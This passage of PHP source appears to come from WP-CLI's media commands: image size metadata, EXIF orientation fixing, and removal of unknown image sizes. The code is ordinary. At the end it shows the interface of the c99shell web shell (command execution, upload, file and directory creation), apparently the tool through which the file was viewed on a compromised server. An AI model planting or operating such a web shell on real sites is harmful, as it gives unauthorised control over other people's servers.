        foreach ( $image_size_filters as $name => $filter ) {
            remove_filter( $name, $filter, PHP_INT_MAX );
        }
    }

    // Update attachment sizes metadata just for a particular intermediate image size.
    private function update_attachment_metadata_for_image_size( $id, $new_metadata, $image_size, $metadata ) {

        if ( ! is_array( $metadata ) ) {
            return false;
        }

        // If have metadata for image_size.
        if ( ! empty( $new_metadata['sizes'][ $image_size ] ) ) {
            $metadata['sizes'][ $image_size ] = $new_metadata['sizes'][ $image_size ];
            wp_update_attachment_metadata( $id, $metadata );
            return true;
        }

        // Else remove unused metadata if any.
        if ( ! empty( $metadata['sizes'][ $image_size ] ) ) {
            unset( $metadata['sizes'][ $image_size ] );
            wp_update_attachment_metadata( $id, $metadata );
            // Treat removing unused metadata as no change.
        }
        return false;
    }

    /**
     * Get images from the installation.
     *
     * @param array $args                  The query arguments to use. Optional.
     * @param array $additional_mime_types The additional mime types to search for. Optional.
     *
     * @return WP_Query The query result.
     */
    private function get_images( $args = array(), $additional_mime_types = array() ) {
        $mime_types = array_merge( array( 'image' ), $additional_mime_types );

        $query_args = array(
            'post_type'              => 'attachment',
            'post__in'               => $args,
            'post_mime_type'         => $mime_types,
            'post_status'            => 'any',
            'posts_per_page'         => -1,
            'fields'                 => 'ids',
            'update_post_meta_cache' => false,
            'update_post_term_cache' => false,
        );

        return new WP_Query( $query_args );
    }

    /**
     * Get all the registered image sizes along with their dimensions.
     *
     * @return array $image_sizes The image sizes
     */
    private function get_registered_image_sizes() {
        $image_sizes = array();

        $all_sizes = $this->wp_get_registered_image_subsizes();

        foreach ( $all_sizes as $size => $size_args ) {
            $crop = filter_var( $size_args['crop'], FILTER_VALIDATE_BOOLEAN );

            $image_sizes[] = array(
                'name'   => $size,
                'width'  => $size_args['width'],
                'height' => $size_args['height'],
                'crop'   => empty( $crop ) || is_array( $size_args['crop'] ) ? 'soft' : 'hard',
                'ratio'  => empty( $crop ) || is_array( $size_args['crop'] ) ? 'N/A' : $this->get_ratio( $size_args['width'], $size_args['height'] ),
            );
        }

        return $image_sizes;
    }

    /**
    * Returns a normalized list of all currently registered image sub-sizes.
    *
    * If exists, uses output of wp_get_registered_image_subsizes() function (introduced in WP 5.3).
    * Definition of this method is modified version of core function wp_get_registered_image_subsizes().
    *
    * @global array $_wp_additional_image_sizes
    *
    * @return array[] Associative array of arrays of image sub-size information, keyed by image size name.
    */
    private function wp_get_registered_image_subsizes() {
        if ( Utils\wp_version_compare( '5.3', '>=' ) ) {
            return wp_get_registered_image_subsizes();
        }

        global $_wp_additional_image_sizes;

        $additional_sizes = $_wp_additional_image_sizes ? $_wp_additional_image_sizes : array();

        $all_sizes = array();

        foreach ( get_intermediate_image_sizes() as $size_name ) {
            $size_data = array(
                'width'  => 0,
                'height' => 0,
                'crop'   => false,
            );

            if ( isset( $additional_sizes[ $size_name ]['width'] ) ) {
                // For sizes added by plugins and themes.
                $size_data['width'] = (int) $additional_sizes[ $size_name ]['width'];
            } else {
                // For default sizes set in options.
                $size_data['width'] = (int) get_option( "{$size_name}_size_w" );
            }

            if ( isset( $additional_sizes[ $size_name ]['height'] ) ) {
                $size_data['height'] = (int) $additional_sizes[ $size_name ]['height'];
            } else {
                $size_data['height'] = (int) get_option( "{$size_name}_size_h" );
            }

            if ( empty( $size_data['width'] ) && empty( $size_data['height'] ) ) {
                // This size isn't set.
                continue;
            }

            if ( isset( $additional_sizes[ $size_name ]['crop'] ) ) {
                $size_data['crop'] = $additional_sizes[ $size_name ]['crop'];
            } else {
                $size_data['crop'] = get_option( "{$size_name}_crop" );
            }

            if ( ! is_array( $size_data['crop'] ) || empty( $size_data['crop'] ) ) {
                $size_data['crop'] = (bool) $size_data['crop'];
            }

            $all_sizes[ $size_name ] = $size_data;
        }

        return $all_sizes;
    }

    /**
     * Fix image orientation for one or more attachments.
     *
     * ## OPTIONS
     *
     * [<attachment-id>...]
     * : One or more IDs of the attachments to regenerate.
     *
     * [--dry-run]
     * : Check images needing orientation without performing the operation.
     *
     * ## EXAMPLES
     *
     *     # Fix orientation for all images.
     *     $ wp media fix-orientation
     *     1/3 Fixing orientation for "Landscape_4" (ID 62).
     *     2/3 Fixing orientation for "Landscape_3" (ID 61).
     *     3/3 Fixing orientation for "Landscape_2" (ID 60).
     *     Success: Fixed 3 of 3 images.
     *
     *     # Fix orientation dry run.
     *     $ wp media fix-orientation 63 --dry-run
     *     1/1 "Portrait_6" (ID 63) will be affected.
     *     Success: 1 of 1 image will be affected.
     *
     *     # Fix orientation for specific images.
     *     $ wp media fix-orientation 63
     *     1/1 Fixing orientation for "Portrait_6" (ID 63).
     *     Success: Fixed 1 of 1 images.
     *
     * @subcommand fix-orientation
     */
    public function fix_orientation( $args, $assoc_args ) {

        // EXIF is required to read image metadata for orientation.
        if ( ! extension_loaded( 'exif' ) ) {
            WP_CLI::error( "'EXIF' extension is not loaded, it is required for this operation." );
        } elseif ( ! function_exists( 'exif_read_data' ) ) {
            WP_CLI::error( "Function 'exif_read_data' does not exist, it is required for this operation." );
        }

        $images  = $this->get_images( $args );
        $count   = $images->post_count;
        $dry_run = Utils\get_flag_value( $assoc_args, 'dry-run' );

        if ( ! $count ) {
            WP_CLI::error( 'No images found.' );
        }

        $number    = 0;
        $successes = 0;
        $errors    = 0;
        foreach ( $images->posts as $post_id ) {
            ++$number;
            if ( 0 === $number % self::WP_CLEAR_OBJECT_CACHE_INTERVAL ) {
                Utils\wp_clear_object_cache();
            }
            $this->process_orientation_fix( $post_id, "{$number}/{$count}", $successes, $errors, $dry_run );
        }

        if ( Utils\get_flag_value( $assoc_args, 'dry-run' ) ) {
            WP_CLI::success( sprintf( '%s of %s %s will be affected.', $successes, $count, Utils\pluralize( 'image', $count ) ) );
        } else {
            Utils\report_batch_operation_results( 'image', 'fix', $count, $successes, $errors );
        }
    }

    /**
     * Perform orientation fix on attachments.
     *
     * @param int    $id        Attachment Id.
     * @param string $progress  Current progress string.
     * @param int    $successes Count of success in current operation.
     * @param int    $errors    Count of errors in current operation.
     * @param bool   $dry_run   Is this a dry run?
     */
    private function process_orientation_fix( $id, $progress, &$successes, &$errors, $dry_run ) {
        $title = get_the_title( $id );
        if ( '' === $title ) {
            // If audio or video cover art then the id is the sub attachment id, which has no title.
            if ( metadata_exists( 'post', $id, '_cover_hash' ) ) {
                // Unfortunately the only way to get the attachment title would be to do a non-indexed query against the meta value of `_thumbnail_id`. So don't.
                $att_desc = sprintf( 'cover attachment (ID %d)', $id );
            } else {
                $att_desc = sprintf( '"(no title)" (ID %d)', $id );
            }
        } else {
            $att_desc = sprintf( '"%1$s" (ID %2$d)', $title, $id );
        }

        $full_size_path = $this->get_attached_file( $id );

        if ( false === $full_size_path || ! file_exists( $full_size_path ) ) {
            WP_CLI::warning( "Can't find {$att_desc}." );
            ++$errors;
            return;
        }

        // Get current metadata of the attachment.
        $metadata   = wp_generate_attachment_metadata( $id, $full_size_path );
        $image_meta = ! empty( $metadata['image_meta'] ) ? $metadata['image_meta'] : [];

        if ( isset( $image_meta['orientation'] ) && absint( $image_meta['orientation'] ) > 1 ) {
            if ( ! $dry_run ) {
                WP_CLI::log( "{$progress} Fixing orientation for {$att_desc}." );
                if ( false !== $this->flip_rotate_image( $id, $metadata, $image_meta, $full_size_path ) ) {
                    ++$successes;
                } else {
                    ++$errors;
                    WP_CLI::log( "Couldn't fix orientation for {$att_desc}." );
                }
            } else {
                WP_CLI::log( "{$progress} {$att_desc} will be affected." );
                ++$successes;
            }
        } else {
            WP_CLI::log( "{$progress} No orientation fix required for {$att_desc}." );
        }
    }

    /**
     * Perform image rotate operations on the image.
     *
     * @param int    $id             Attachment Id.
     * @param array  $metadata       Attachment Metadata.
     * @param array  $image_meta     `image_meta` information for the attachment.
     * @param string $full_size_path Path to original image.
     *
     * @return bool Whether the image rotation operation succeeded.
     */
    private function flip_rotate_image( $id, $metadata, $image_meta, $full_size_path ) {
        $editor = wp_get_image_editor( $full_size_path );

        if ( ! is_wp_error( $editor ) ) {
            $operations = $this->calculate_transformation( (int) $image_meta['orientation'] );

            // Rotate image if required.
            if ( true === $operations['rotate'] ) {
                $editor->rotate( $operations['degree'] );
            }

            // Flip image if required.
            if ( false !== $operations['flip'] ) {
                $editor->flip( $operations['flip'][0], $operations['flip'][1] );
            }

            // Save the image and generate metadata.
            $editor->save( $full_size_path );
            $metadata   = wp_generate_attachment_metadata( $id, $full_size_path );
            $image_meta = empty( $metadata['image_meta'] ) ? [] : $metadata['image_meta'];

            // Update attachment metadata with newly generated data.
            wp_update_attachment_metadata( $id, $metadata );

            if ( isset( $image_meta['orientation'] ) && absint( $image_meta['orientation'] ) === 0 ) {
                return true;
            }
        }

        return false;
    }

    /**
     * Return array of operations to be done for provided orientation value.
     *
     * @param int $orientation EXIF orientation value.
     *
     * @return array
     */
    private function calculate_transformation( $orientation ) {
        $rotate = false;
        $flip   = false;
        $degree = 0;
        switch ( $orientation ) {
            case 2:
                $flip = [ false, true ]; // $flip image along given axis [ horizontal, vertical ]
                break;
            case 3:
                $flip = [ true, true ];
                break;
            case 4:
                $flip = [ true, false ];
                break;
            case 5:
                $degree = -90;
                $rotate = true;
                $flip   = [ false, true ];
                break;
            case 6:
                $degree = -90;
                $rotate = true;
                break;
            case 7:
                $degree = 90;
                $rotate = true;
                $flip   = [ false, true ];
                break;
            case 8:
                $degree = 90;
                $rotate = true;
                break;
            default:
                $degree = 0;
                $rotate = true;
                break;
        }

        return [
            'flip'   => $flip,
            'degree' => $degree,
            'rotate' => $rotate,
        ];
    }

    /**
     * Add compatibility indirection to get_attached_file().
     *
     * In WordPress 5.3, behavior changed to account for automatic resizing of
     * big image files.
     *
     * @see https://core.trac.wordpress.org/ticket/47873
     *
     * @param int $attachment_id ID of the attachment to get the filepath for.
     * @return string|false Filepath of the attachment, or false if not found.
     */
    private function get_attached_file( $attachment_id ) {
        if ( function_exists( 'wp_get_original_image_path' ) ) {
            $filepath = wp_get_original_image_path( $attachment_id );

            if ( false !== $filepath ) {
                return $filepath;
            }
        }

        return get_attached_file( $attachment_id );
    }

    /**
     * Image-friendly alternative to wp_get_attachment_url(). Will return the full size URL of an image instead of the `-scaled` version.
     *
     * In WordPress 5.3, behavior changed to account for automatic resizing of
     * big image files.
     *
     * @see https://core.trac.wordpress.org/ticket/47873
     *
     * @param int $attachment_id ID of the attachment to get the URL for.
     * @return string|false URL of the attachment, or false if not found.
     */
    private function get_real_attachment_url( $attachment_id ) {
        if ( function_exists( 'wp_get_original_image_url' ) ) {
            $url = wp_get_original_image_url( $attachment_id );

            if ( false !== $url ) {
                return $url;
            }
        }

        return wp_get_attachment_url( $attachment_id );
    }

    /**
     * Create image slug based on user input slug.
     * Add basename extension to slug.
     *
     * @param string $basename Default slu of image.
     * @param string $slug User input slug.
     *
     * @return string Image slug with extension.
     */
    private function get_image_name( $basename, $slug ) {

        $extension = pathinfo( $basename, PATHINFO_EXTENSION );

        return $slug . '.' . $extension;
    }

    /**
     * Removes files for unknown/unregistered image sizes.
     *
     * Similar to {@see self::remove_old_images} but also updates metadata afterwards.
     *
     * @param int    $id           Attachment ID.
     * @param string $fullsizepath Filepath of the attachment.
     *
     * @return void
     */
    private function delete_unknown_image_sizes( $id, $fullsizepath ) {
        $original_meta = wp_get_attachment_metadata( $id );

        $image_sizes = wp_list_pluck( $this->get_registered_image_sizes(), 'name' );

        $dir_path = dirname( $fullsizepath ) . '/';

        $sizes_to_delete = array();

        if ( isset( $original_meta['sizes'] ) ) {
            foreach ( $original_meta['sizes'] as $size_name => $size_meta ) {
                if ( 'full' === $size_name ) {
                    continue;
                }

                if ( ! in_array( $size_name, $image_sizes, true ) ) {
                    $intermediate_path = $dir_path . $size_meta['file'];
                    if ( $intermediate_path === $fullsizepath ) {
                        continue;
                    }

                    if ( file_exists( $intermediate_path ) ) {
                        unlink( $intermediate_path );
                    }

                    $sizes_to_delete[] = $size_name;
                }
            }

            foreach ( $sizes_to_delete as $size_name ) {
                unset( $original_meta['sizes'][ $size_name ] );
            }
        }

        wp_update_attachment_metadata( $id, $original_meta );
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0156 ]--